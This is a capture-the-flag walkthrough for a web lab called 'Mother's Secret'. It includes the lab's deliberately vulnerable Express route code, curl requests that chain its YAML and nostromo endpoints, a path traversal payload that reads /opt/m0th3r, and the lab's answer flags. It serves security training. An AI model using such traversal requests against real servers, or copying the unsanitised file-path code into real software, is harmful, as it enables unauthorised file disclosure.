# MOTHER'S SECRET

<figure><img src="https://3194248079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MMRDc44tPNsBhsf--dD%2Fuploads%2F8rUSQpLJW8oc0SjTsIfx%2Fmother.png?alt=media&#x26;token=009ba625-18d4-440b-9cb5-872a7acaa9a0" alt=""><figcaption></figcaption></figure>

**Walkthrough for Mother's Secret**

> Web application
>
> 100375 > keyword
>
> "/api/nostromo/mother/secret.txt" > known path

## Enumeration

To start, a lot of important information is given at the beginning of the box:

* There is a web client running on port 80
* A router file called `routes.txt` is provided
* Emergency command override is 100375 - used when accessing *Alien Loaders* - could be for api call
* Routes must be hit in the right order to escalate privilege
* Path of secret.txt is `/api/nostromo/mother/secret.txt`

<figure><img src="https://3194248079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MMRDc44tPNsBhsf--dD%2Fuploads%2FVqtqvM7F4i9CmKrd2zt7%2Fmother_website.png?alt=media&#x26;token=ed3b14c5-bb36-41c7-8163-dc39ce7db128" alt=""><figcaption></figcaption></figure>

The website shows a text box providing additional information:

* Alien Loader: This is a YAML loader function, the function parses and loads YAML data and can reveal hidden paths > this can most likely be one of the paths from the `routes.txt` file
* Pathways: Nostromo endpoint most likely has a path traversal vulnerability that can be found by giving relative paths within the mother folder > this can also be referenced in the `routes.txt` file

{% code title="routes.txt" %}

```javascript
API ROUTES

------------------------------------------

yaml.js
------------------------------------------

import express from "express";
import yaml from "js-yaml";
import fs from "fs";
import { attachWebSocket } from "../websocket.js";

const Router = express.Router();

const isYaml = (filename) => filename.split(".").pop() === "yaml";

Router.post("/", (req, res) => {
  let file_path = req.body.file_path;
  const filePath = `./public/${file_path}`;

  if (!isYaml(filePath)) {
    res.status(500).json({
      status: "error",
      message: "Not a YAML file path.",
    });
    return;
  }

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Failed to read the file.",
      });
      return;
    }

    res.status(200).send(yaml.load(data));

    attachWebSocket().of("/yaml").emit("yaml", "YAML data has been processed.");
  });
});

export default Router;
------------------------------------------

Nostromo.js
------------------------------------------

import express from "express";
import fs from "fs";
// import { attachWebSocket } from "../../mothers_secret_challenge/websocket.js";
import { attachWebSocket } from "../websocket.js";
import { isYamlAuthenticate } from "./yaml.js";
let isNostromoAuthenticate = false;

const Router = express.Router();

Router.post("/nostromo", (req, res) => {
  let file_path = req.body.file_path;
  const filePath = `./public/${file_path}`;

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Science Officer Eyes Only",
      });
      return;
    }

    isNostromoAuthenticate = true
    res.status(200).send(data);

    attachWebSocket()
      .of("/nostromo")
      .emit("nostromo", "Nostromo data has been processed.");
  });
});

Router.post("/nostromo/mother", (req, res) => {
 
  let file_path = req.body.file_path;
  const filePath = `./mother/${file_path}`;

  if(!isNostromoAuthenticate || !isYamlAuthenticate){
    res.status(500).json({
      status: "Authentication failed",
      message: "Kindly visit nostromo & yaml route first.",
    });
    return 
  }

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Science Officer Eyes Only",
      });
      return;
    }

    res.status(200).send(data);

    // attachWebSocket()
    //   .of("/nostromo")
    //   .emit("nostromo", "Nostromo data has been processed.");
  });
});

export default Router;



------------------------------------------

```

{% endcode %}

The provided file `routes.txt` provides three endpoints of interest:

1. POST "/" with body element "file\_path"
   * Requires a valid "file\_path" that ends in "yaml"
   * The "file\_path" must exist in the `./public/...` path
   * If either fails, a 500 response will be sent with an error
   * Success message will be sent to path "/yaml"
2. POST "/nostromo" with body element "file\_path"
   * Requires a valid "file\_path" that exists in the `./public/...` path
   * Success message sent to "/nostromo"
3. POST "/nostromo/mother" with body element "file\_path"
   * Requires that both endpoints above were reached successfully
   * Requires a valid "file\_path" for readFile function
   * Success message sent to "/nostromo"

## Exploitation

Since there are routes given in the javascript file above, some attempts can be made to reach them. At first, the response was a consistent `{"status":"You just hit the wrong route."}`.&#x20;

1. First attempt failed > `curl -X POST http://$IP/ -d '{"file_path":"test.yaml"}'`
2. Second attempt to specify "/yaml" path > `curl -X POST http://$IP/yaml -H "Content-Type: application/json" -d '{"file_path":"test.yaml"}'` > Returned `{"status":"error","message":"Failed to read the file."}`

At this point, the correct route was found to reach out to the loader. The next step involved finding a valid path and crafting a valid packet. One important step is making sure that the payload content is correctly identified so that the receiver knows what exactly is reading. Since the payload involves a key-value pair, it makes sense to encode it as json therefore including the header `Content-Type: application/json`. Once this is done, it's time to fuzz or guess a possible file path. Although one of their instructions gave it away, I didn't make the connection, so I brute forced it, but for simplicity, the simple thing was to utilize the "override" 100375.

The following command ending up returning some interesting information:

`curl -X POST http://$IP/yaml -H "Content-Type: application/json" -d '{"file_path":"100375.yaml"}'`

> FOR SCIENCE OFFICER EYES ONLY special SECRETS: REROUTING TO: api/nostromo ORDER: 0rd3r937.txt \[\*\*\*\*] UNABLE TO CLARIFY. NO FURTHER ENHANCEMENT.

The file "0rd3r937.txt" was revealed so let's try reading that through the nostromo endpoint:

Command: `curl -X POST http://$IP/api/nostromo -H "Content-Type: application/json" -d '{"file_path":"0rd3r937.txt"}'`

<figure><img src="https://3194248079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MMRDc44tPNsBhsf--dD%2Fuploads%2FwFdPGZKNXNbLelK6UQDU%2Fmother_nostromo.png?alt=media&#x26;token=a94d5f78-9654-4976-93ab-44a651891824" alt=""><figcaption></figcaption></figure>

This also reveals the flag for nostromo and enables the "/nostromo/mother" endpoint!

{% hint style="success" %}
Nostromo Flag: Flag{X3n0M0Rph}
{% endhint %}

Since this will turn on the *isNostromoAuthenticate* flag, the "mother" endpoint can likely be reached now. The following request shows the location of secret information.

Command: `curl -X POST http://$IP/api/nostromo/mother -H "Content-Type: application/json" -d '{"file_path":"secret.txt"}'`

> Secret: /opt/m0th3r

Following the same techniques as first, directory traversal works at being able to read files outside of the current directory!

Command: `curl -X POST http://$IP/api/nostromo/mother -H "Content-Type: application/json" -d '{"file_path":"../../../../opt/m0th3r"}'`

{% hint style="success" %}
Secrert Flag: Flag{Ensure\_return\_of\_organism\_meow\_meow!}
{% endhint %}
